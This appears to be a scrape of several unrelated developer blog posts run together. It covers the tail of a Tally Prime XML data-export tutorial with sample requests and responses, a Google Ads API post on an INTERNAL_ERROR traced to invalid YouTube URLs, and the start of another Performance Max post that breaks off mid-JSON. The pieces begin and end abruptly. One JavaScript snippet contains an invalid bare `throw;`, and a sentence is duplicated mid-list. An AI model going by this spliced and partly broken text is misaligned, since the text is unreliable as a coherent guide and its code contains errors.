                                    <GSTRATE>0</GSTRATE>
                                    <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                                </RATEDETAILS.LIST>
                            </GSTSLABRATES.LIST>
                        </STATEWISEDETAILS.LIST>
                    </GSTDETAILS.LIST>
                    <HSNDETAILS.LIST>
                        <APPLICABLEFROM>20240401</APPLICABLEFROM>
                        <HSNCODE>9999</HSNCODE>
                        <HSN>GST Classification</HSN>
                        <HSNCLASSIFICATIONNAME/>
                        <SRCOFHSNDETAILS>Specify Details Here</SRCOFHSNDETAILS>
                    </HSNDETAILS.LIST>
                </GSTCLASSIFICATION>
            </COLLECTION>
        </DATA>
    </BODY>
</ENVELOPE>

This XML request is designed to export a collection of GST classifications from Tally, including detailed GST rates and HSN details. The data includes state-wise GST slab rates, HSN codes, and other related information, starting from a specified applicable date.

Export Stock Summary list from Tally Prime

Xml Request:

<ENVELOPE>
    <HEADER>
        <TALLYREQUEST>Export Data</TALLYREQUEST>
    </HEADER>

    <BODY>
        <EXPORTDATA>
            <REQUESTDESC>
                <STATICVARIABLES> </STATICVARIABLES>
                <REPORTNAME>Stock Summary</REPORTNAME>
            </REQUESTDESC>
        </EXPORTDATA>
    </BODY>
</ENVELOPE>

Xml Response:

<ENVELOPE>
    <DSPACCNAME>
        <DSPDISPNAME>Sarees</DSPDISPNAME>
    </DSPACCNAME>
    <DSPSTKINFO>
        <DSPSTKCL>
            <DSPCLQTY>100 pcs</DSPCLQTY>
            <DSPCLRATE>12000.00</DSPCLRATE>
            <DSPCLAMTA>-1200000.00</DSPCLAMTA>
        </DSPSTKCL>
    </DSPSTKINFO>
</ENVELOPE>

This response provides a stock summary

• Quantity: <DSPCLQTY> represents the available quantity.

• Rate: <DSPCLRATE> indicates the rate per unit.

• Value: <DSPCLAMTA> reflects the total value of the stock.

Export Voucher Type list from Tally Prime

Xml Request:

<ENVELOPE>
    <HEADER>
        <VERSION>1</VERSION>
        <TALLYREQUEST>EXPORT</TALLYREQUEST>
        <TYPE>Collection</TYPE>
        <ID>Voucher</ID>
    </HEADER>
    <BODY>
        <DESC>
            <STATICVARIABLES>
                <SVEXPORTFORMAT>$$SysName:XML</SVEXPORTFORMAT>
                <GroupType>Primary</GroupType>
            </STATICVARIABLES>
        </DESC>
    </BODY>
</ENVELOPE>

xml Response:

<ENVELOPE>
    <HEADER>
        <VERSION>1</VERSION>
        <STATUS>1</STATUS>
    </HEADER>
    <BODY>
        <DESC>
            <CMPINFO>
                <COMPANY>0</COMPANY>
                <GROUP>0</GROUP>
                <LEDGER>0</LEDGER>
                <COSTCATEGORY>0</COSTCATEGORY>
                <COSTCENTRE>0</COSTCENTRE>
                <GODOWN>0</GODOWN>
                <STOCKGROUP>0</STOCKGROUP>
                <STOCKCATEGORY>0</STOCKCATEGORY>
                <STOCKITEM>0</STOCKITEM>
                <VOUCHERTYPE>0</VOUCHERTYPE>
                <CURRENCY>0</CURRENCY>
                <UNIT>0</UNIT>
                <BUDGET>0</BUDGET>
                <CLIENTRULE>0</CLIENTRULE>
                <SERVERRULE>0</SERVERRULE>
                <STATE>0</STATE>
                <TDSRATE>0</TDSRATE>
                <TAXCLASSIFICATION>0</TAXCLASSIFICATION>
                <STCATEGORY>0</STCATEGORY>
                <DEDUCTEETYPE>0</DEDUCTEETYPE>
                <ATTENDANCETYPE>0</ATTENDANCETYPE>
                <FBTCATEGORY>0</FBTCATEGORY>
                <FBTASSESSEETYPE>0</FBTASSESSEETYPE>
                <TARIFFCLASSIFICATION>0</TARIFFCLASSIFICATION>
                <EXCISEDUTYCLASSIFICATION>0</EXCISEDUTYCLASSIFICATION>
                <SERIALNUMBER>0</SERIALNUMBER>
                <ADJUSTMENTCLASSIFICATION>0</ADJUSTMENTCLASSIFICATION>
                <INCOMETAXSLAB>0</INCOMETAXSLAB>
                <INCOMETAXCLASSIFICATION>0</INCOMETAXCLASSIFICATION>
                <LBTCLASSIFICATION>0</LBTCLASSIFICATION>
                <TAXUNIT>0</TAXUNIT>
                <RETURNMASTER>0</RETURNMASTER>
                <GSTCLASSIFICATION>0</GSTCLASSIFICATION>
                <VOUCHERNUMBERSERIES>0</VOUCHERNUMBERSERIES>
                <VOUCHER>0</VOUCHER>
            </CMPINFO>
        </DESC>
        <DATA>
            <COLLECTION ISMSTDEPTYPE="Yes" MSTDEPTYPE="1024">
                <VOUCHERTYPE NAME="Attendance" RESERVEDNAME="Attendance">
                    <MAILINGNAME TYPE="String">Attd</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">No</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 240</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Attendance</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Contra" RESERVEDNAME="Contra">
                    <MAILINGNAME TYPE="String">Ctra</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">Yes</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 10</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Contra</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Credit Note" RESERVEDNAME="Credit Note">
                    <MAILINGNAME TYPE="String">C/Note</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">Yes</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 50</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Credit Note</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Debit Note" RESERVEDNAME="Debit Note">
                    <MAILINGNAME TYPE="String">D/Note</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">Yes</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 60</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Debit Note</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Delivery Note" RESERVEDNAME="Delivery Note">
                    <MAILINGNAME TYPE="String">Dely Note</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">No</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 90</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Delivery Note</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Job Work In Order" RESERVEDNAME="Job Work In Order">
                    <MAILINGNAME TYPE="String">Job Wrk In Ordr</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">No</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 260</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Job Work In Order</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Job Work Out Order" RESERVEDNAME="Job Work Out Order">
                    <MAILINGNAME TYPE="String">Job Wrk Out Ordr</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">No</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 270</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Job Work Out Order</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Journal" RESERVEDNAME="Journal">
                    <MAILINGNAME TYPE="String">Jrnl</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">Yes</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 40</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Journal</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Material In" RESERVEDNAME="Material In">
                    <MAILINGNAME TYPE="String">Mat In</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">No</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 290</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Material In</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Material Out" RESERVEDNAME="Material Out">
                    <MAILINGNAME TYPE="String">Mat Out</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">No</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 280</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Material Out</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Memorandum" RESERVEDNAME="Memorandum">
                    <MAILINGNAME TYPE="String">Memo</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">No</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 150</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Memorandum</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Payment" RESERVEDNAME="Payment">
                    <MAILINGNAME TYPE="String">Pymt</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">Yes</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 20</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Payment</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Payroll" RESERVEDNAME="Payroll">
                    <MAILINGNAME TYPE="String">Pyrl</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">No</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 250</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Payroll</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Physical Stock" RESERVEDNAME="Physical Stock">
                    <MAILINGNAME TYPE="String">Phy Stk</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">Yes</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 130</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Physical Stock</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Purchase" RESERVEDNAME="Purchase">
                    <MAILINGNAME TYPE="String">Purc</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">Yes</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 80</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Purchase</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Purchase Order" RESERVEDNAME="Purchase Order">
                    <MAILINGNAME TYPE="String">Purc Order</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">No</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 180</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Purchase Order</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Receipt" RESERVEDNAME="Receipt">
                    <MAILINGNAME TYPE="String">Rcpt</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">Yes</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 30</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Receipt</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Receipt Note" RESERVEDNAME="Receipt Note">
                    <MAILINGNAME TYPE="String">Rcpt Note</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">No</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 100</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Receipt Note</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Rejections In" RESERVEDNAME="Rejections In">
                    <MAILINGNAME TYPE="String">Rej In</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">No</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 120</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Rejections In</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Rejections Out" RESERVEDNAME="Rejections Out">
                    <MAILINGNAME TYPE="String">Rej Out</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">No</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 110</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Rejections Out</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Reversing Journal" RESERVEDNAME="Reversing Journal">
                    <MAILINGNAME TYPE="String">Rev Jrnl</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">No</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 160</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Reversing Journal</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Sales" RESERVEDNAME="Sales">
                    <MAILINGNAME TYPE="String">Sale</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">Yes</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 70</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Sales</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Sales Order" RESERVEDNAME="Sales Order">
                    <MAILINGNAME TYPE="String">Sales Ordr</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">No</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 170</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Sales Order</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
                <VOUCHERTYPE NAME="Stock Journal" RESERVEDNAME="Stock Journal">
                    <MAILINGNAME TYPE="String">Stk Jrnl</MAILINGNAME>
                    <ISACTIVE TYPE="Logical">Yes</ISACTIVE>
                    <SORTPOSITION TYPE="Number"> 140</SORTPOSITION>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Stock Journal</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </VOUCHERTYPE>
            </COLLECTION>
        </DATA>
    </BODY>
</ENVELOPE>

This response gives all the tally voucher types list like contra, Credit Note, Attendance, etc.

Export Stock item from Tally Prime

Xml Request:

<ENVELOPE>
    <HEADER>
        <VERSION>1</VERSION>
        <TALLYREQUEST>EXPORT</TALLYREQUEST>
        <TYPE>COLLECTION</TYPE>
        <ID>List of Stock Items</ID>
    </HEADER>
    <BODY>
        <DESC>
            <STATICVARIABLES>
                <SVEXPORTFORMAT>$$SysName:XML</SVEXPORTFORMAT>
            </STATICVARIABLES>
            <TDL>
                <TDLMESSAGE>
                    <COLLECTION NAME="List of Stock Items" ISINITIALIZE="Yes">
                        <TYPE>Stock item</TYPE>
                        <NATIVEMETHOD>Name</NATIVEMETHOD>
                        <NATIVEMETHOD>Parent</NATIVEMETHOD>
                        <NATIVEMETHOD>OpeningBalance</NATIVEMETHOD>
                        <NATIVEMETHOD>OpeningValue</NATIVEMETHOD>
                        <NATIVEMETHOD>GSTDetails</NATIVEMETHOD>
                        <NATIVEMETHOD>HSNDetails</NATIVEMETHOD>
                        <NATIVEMETHOD>BaseUnits</NATIVEMETHOD>
                        <NATIVEMETHOD>GSTTypeOfSupply</NATIVEMETHOD>
                        <NATIVEMETHOD>MRPDetails</NATIVEMETHOD>
                        <NATIVEMETHOD>BatchalLocations</NATIVEMETHOD>
                    </COLLECTION>
                </TDLMESSAGE>
            </TDL>
        </DESC>
    </BODY>
</ENVELOPE>

This request is designed to export a collection of stock items with the following details:

• Name: Provides the name of the stock item.

• Parent: Indicates the stock group to which the item belongs.

• OpeningBalance: Displays the opening quantity of the stock item.

• OpeningValue: Represents the opening rate or value of the stock item.

• GSTDetails: Includes all relevant GST information, such as GST rate details.

• HSNDetails: Provides HSN-related details, including the HSN code and description.

• BaseUnits: Specifies the base units for the stock item.

• GSTTypeOfSupply: Indicates the type of supply for GST purposes.

• MRPDetails: Displays the maximum retail price (MRP) of the item.

• BatchalLocations: Shows details of the GODOWN locations where the stock is stored.

Xml Response:

<ENVELOPE>
    <HEADER>
        <VERSION>1</VERSION>
        <STATUS>1</STATUS>
    </HEADER>
    <BODY>
        <DESC>
        </DESC>
        <DATA>
            <COLLECTION ISMSTDEPTYPE="Yes" MSTDEPTYPE="512">
                <STOCKITEM NAME="Azarak" RESERVEDNAME="">
                    <PARENT TYPE="String">Sarees</PARENT>
                    <GSTTYPEOFSUPPLY TYPE="String">Goods</GSTTYPEOFSUPPLY>
                    <BASEUNITS TYPE="String">pcs</BASEUNITS>
                    <HASMFGDATE TYPE="Logical">No</HASMFGDATE>
                    <OPENINGBALANCE TYPE="Quantity"> 100 pcs</OPENINGBALANCE>
                    <OPENINGVALUE TYPE="Amount">-1200000.00</OPENINGVALUE>
                    <GSTDETAILS.LIST>
                        <APPLICABLEFROM>20240401</APPLICABLEFROM>
                        <GSTNOTIFICATIONDATE/>
                        <CALCULATIONTYPE/>
                        <REPORTINGUOM/>
                        <HSNCODE/>
                        <HSNMASTERNAME/>
                        <HSN/>
                        <SUPPLYTYPE/>
                        <TAXABILITY/>
                        <GSTNOTIFICATIONNUMBER/>
                        <GSTNATUREOFTRANSACTION/>
                        <NATUREOFGOODS/>
                        <SRCOFGSTDETAILS>As per Company/Stock Group</SRCOFGSTDETAILS>
                        <GSTCALCSLABONMRP/>
                        <ISREVERSECHARGEAPPLICABLE/>
                        <ISNONGSTGOODS/>
                        <GSTINELIGIBLEITC>Yes</GSTINELIGIBLEITC>
                        <INCLUDEEXPFORSLABCALC/>
                        <REVERSECHARGERATE>0</REVERSECHARGERATE>
                        <STATEWISEDETAILS.LIST>
                            <STATENAME>&#4; Any</STATENAME>
                            <RATEDETAILS.LIST>
                                <GSTRATEDUTYHEAD>CGST</GSTRATEDUTYHEAD>
                                <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                <GSTRATE>0</GSTRATE>
                                <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                            </RATEDETAILS.LIST>
                            <RATEDETAILS.LIST>
                                <GSTRATEDUTYHEAD>SGST/UTGST</GSTRATEDUTYHEAD>
                                <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                <GSTRATE>0</GSTRATE>
                                <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                            </RATEDETAILS.LIST>
                            <RATEDETAILS.LIST>
                                <GSTRATEDUTYHEAD>IGST</GSTRATEDUTYHEAD>
                                <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                <GSTRATE>0</GSTRATE>
                                <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                            </RATEDETAILS.LIST>
                            <RATEDETAILS.LIST>
                                <GSTRATEDUTYHEAD>Cess</GSTRATEDUTYHEAD>
                                <GSTRATEVALUATIONTYPE>&#4; Not Applicable</GSTRATEVALUATIONTYPE>
                                <GSTRATE>0</GSTRATE>
                                <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                            </RATEDETAILS.LIST>
                            <RATEDETAILS.LIST>
                                <GSTRATEDUTYHEAD>State Cess</GSTRATEDUTYHEAD>
                                <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                <GSTRATE>0</GSTRATE>
                                <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                            </RATEDETAILS.LIST>
                            <GSTSLABRATES.LIST>       </GSTSLABRATES.LIST>
                        </STATEWISEDETAILS.LIST>
                    </GSTDETAILS.LIST>
                    <HSNDETAILS.LIST>
                        <APPLICABLEFROM>20240401</APPLICABLEFROM>
                        <HSNCODE/>
                        <HSN/>
                        <HSNCLASSIFICATIONNAME/>
                        <SRCOFHSNDETAILS>As per Company/Stock Group</SRCOFHSNDETAILS>
                    </HSNDETAILS.LIST>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Azarak</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                    <MRPDETAILS.LIST>
                        <FROMDATE>20240401</FROMDATE>
                        <MRPRATEDETAILS.LIST>
                            <PRIORSTATENAME/>
                            <STATENAME>&#4; Any</STATENAME>
                            <MRPRATE>1000.00/pcs</MRPRATE>
                        </MRPRATEDETAILS.LIST>
                    </MRPDETAILS.LIST>
                    <BATCHALLOCATIONS.LIST>
                        <MFDON/>
                        <GODOWNNAME>Main Location</GODOWNNAME>
                        <BATCHNAME>Primary Batch</BATCHNAME>
                        <OPENINGBALANCE> 100 pcs</OPENINGBALANCE>
                        <OPENINGVALUE>-1200000.00</OPENINGVALUE>
                        <OPENINGRATE>12000.00/pcs</OPENINGRATE>
                        <EXPIRYPERIOD/>
                    </BATCHALLOCATIONS.LIST>
                </STOCKITEM>
            </COLLECTION>
        </DATA>
    </BODY>
</ENVELOPE>

Conclusion

In conclusion, exporting data from Tally Prime using XML requests is a powerful method for efficiently retrieving various types of financial and inventory data. By understanding the structure and components of XML requests and responses, users can customize their data exports to meet specific business needs. Whether it's exporting ledgers, groups, stock items, or GST classifications, the flexibility of XML allows for detailed and precise data extraction, facilitating better financial analysis and decision-making.

Boom! 💥 You’re greeted with:

{
  "errorCode": { "internalError": "INTERNAL_ERROR" },
  "message": "An internal error has occurred."
}

No helpful hints. No breadcrumbs to follow. Just a vague "internal error." 😡 If you’ve been there, you know the frustration is real.

But don’t worry—you’re not alone, and I’ve got your back. After some digging, I discovered that this cryptic error often stems from one sneaky culprit: an invalid YouTube URL. Yep, that’s right. A seemingly small mistake can bring your entire campaign launch to a screeching halt. In this blog, I’ll walk you through why this happens and, more importantly, how to fix it. Let’s get started! 🚀

The Problem: When URLs Go Rogue

The INTERNAL_ERROR is like a master of disguise—it doesn’t tell you that your YouTube URL is at fault. Instead, it leaves you guessing and pulling your hair out. Here’s what’s really going on:

If your YouTube URL is even slightly off—malformed, private, or restricted—the API throws a tantrum. Common URL issues include:

• Missing prefixes: Forgetting the "https://" or "www.youtube.com" prefix.

• Shortened links: Using a youtu.be link without verifying it’s accessible.

• Private or unlisted videos: Videos that are blocked from public use.

Example Scenarios

1. You copy a YouTube link from a browser but miss the https://.

2. You paste a shortened link (youtu.be/abc123) and forget to check its accessibility.

3. The video is set to private or unlisted, making it invisible to the API.

The result? The Google Ads API can’t process your request and retaliates with the dreaded INTERNAL_ERROR. 😖

🛠️ The Fix: Taming the INTERNAL_ERROR Beast

To stop this pesky error from haunting your campaigns, here’s your action plan:

1. Validate Your YouTube URLs

Think of this step as checking your boarding pass before a flight. Use a validation function to ensure your URLs are correctly formatted before sending them to the API. Here’s a handy snippet in JavaScript:

const isValidYouTubeURL = (url) => {
  const pattern = /^(https?:\/\/)?(www\.)?(youtube\.com|youtu\.be)\/(watch\?v=)?[\w-]{11}$/;
  return pattern.test(url);
};

Before submitting a URL to the API, pass it through this function:

if (!isValidYouTubeURL(url)) {
  console.error("Invalid YouTube URL: ", url);
  throw;
}

This simple step will catch most formatting errors before they cause trouble.

2. Verify Video Accessibility

Even if your URL is correctly formatted, the video itself needs to be:

• Public: Ensure it’s not private or restricted.

• Compliant: The content must adhere to Google Ads policies.

Pro Tip : Open the video in an incognito browser to simulate a public view. If you can’t see the video, neither can the API. 🕵️‍♂️

3. Log Like a Detective

Adding logs can help you pinpoint issues faster by capturing the exact URL being sent. For example:

console.log("Submitting YouTube URL: ", url);

If something breaks, you’ll have a clear trail to follow instead of fumbling in the dark. 🔦

Bonus: Automate URL Checks in Bulk

If you’re managing campaigns with multiple YouTube videos, manually validating each URL can be a chore. Automate the process by creating a bulk validation script:

const validateYouTubeURLs = (urls) => {
  return urls.map(url => ({
    url,
    isValid: isValidYouTubeURL(url)
  }));
};

const urlsToCheck = [
  "https://www.youtube.com/watch?v=abc123",
  "youtu.be/invalid",
  "https://youtube.com/watch?v=1234567890a"
];

const results = validateYouTubeURLs(urlsToCheck);
console.log("Validation Results: ", results);

This approach saves time and ensures that all URLs are good to go before you hit the API. ✅

Why This Matters

A single invalid YouTube URL can derail your entire campaign launch. By validating URLs, checking accessibility, and logging everything, you can:

• Save hours of debugging time. 🕒

• Avoid unnecessary frustration. 😤This approach saves time and ensures that all URLs are good to go before you hit the API. ✅

• Ensure your campaigns launch smoothly and on schedule. 🚀

Closing Thoughts

Errors like INTERNAL_ERROR may seem cryptic, but they’re not unbeatable. With the steps above, you’ll have the tools to diagnose and fix these issues like a pro. 🛠️

Got another Google Ads API riddle that’s driving you nuts? Drop it in the comments, and I’ll help you crack the code. 💬

Stay tuned for more tips, tricks, and solutions in the Mastering Performance Max series. Together, we’ll tackle every roadblock and make launching campaigns feel effortless. 💪

Need Custom Development? Get Expert Help! 🚀

Facing complex tech challenges? Our expert developers can build, optimize, and scale your solution. Whether it's custom software, backend architecture, API integrations, or performance tuning, we have you covered.

👉 Let’s build something amazing together! Get in touch

The weird part? I knew I had more than enough assets to meet Google's requirements. Like, way more. Yet, the API was stubbornly refusing to cooperate. 🤔

At this point, I figured I had two options: scream into the void 😱 or reach out to Google Ads API support. Luckily, I went with the second option. 😅

The Support Lifeline 🆘

I sent a desperate email to Google Ads API support, and they hit me back with some crucial info. Apparently, I was creating asset groups using the assetGroups method, but here’s the catch: while you can create resources in separate requests, AssetGroups and AssetGroupAssets for Performance Max (PMax) campaigns need to be created in a single atomic request. 🤯

Basically, they said I could either attach the asset IDs directly or use the assetOperation. The trick was making a bulk request using the googleAds.mutate method. 💡 They even sent me a Java sample (which I’ll spare you from, lol).

The Fix 🛠️

Once I followed their advice and created the AssetGroups and AssetGroupAssets in a single atomic request (all in one go), like magic 🪄, the errors disappeared, and everything started working smoothly. 🎉

Making the Request

Here’s the endpoint and request body that worked for me:

POST https://googleads.googleapis.com/v17/customers/${customerId}/googleAds:mutate

{
  "mutateOperations": [
    {
      "assetGroupOperation": {
        "create": {
          "campaign": "customers/{customer ID}/campaigns/{campaign ID}",
          "name": "pmax asset group final",
          "finalUrls": ["https://www.example.com"],
          "status": "ENABLED",
          "path1": "home",
          "path2": "orders",
          "resourceName": "customers/{customer ID}/assetGroups/-1"
        }
      }
    },
    {
      "assetOperation": {
        "create": {
          "textAsset": {
            "text": "Headline 1"
          },
          "resourceName": "customers/{customer ID}/assets/-2"
        }
      }
    },
    {
      "assetOperation": {
        "create": {
          "textAsset": {
            "text": "Headline 2"
          },
          "resourceName": "customers/{customer ID}/assets/-3"
        }
      }
    },
    {
      "assetOperation": {
        "create": {
          "textAsset": {
            "text": "Headline 3"
          },
          "resourceName": "customers/{customer ID}/assets/-4"
        }
      }
    },
    {
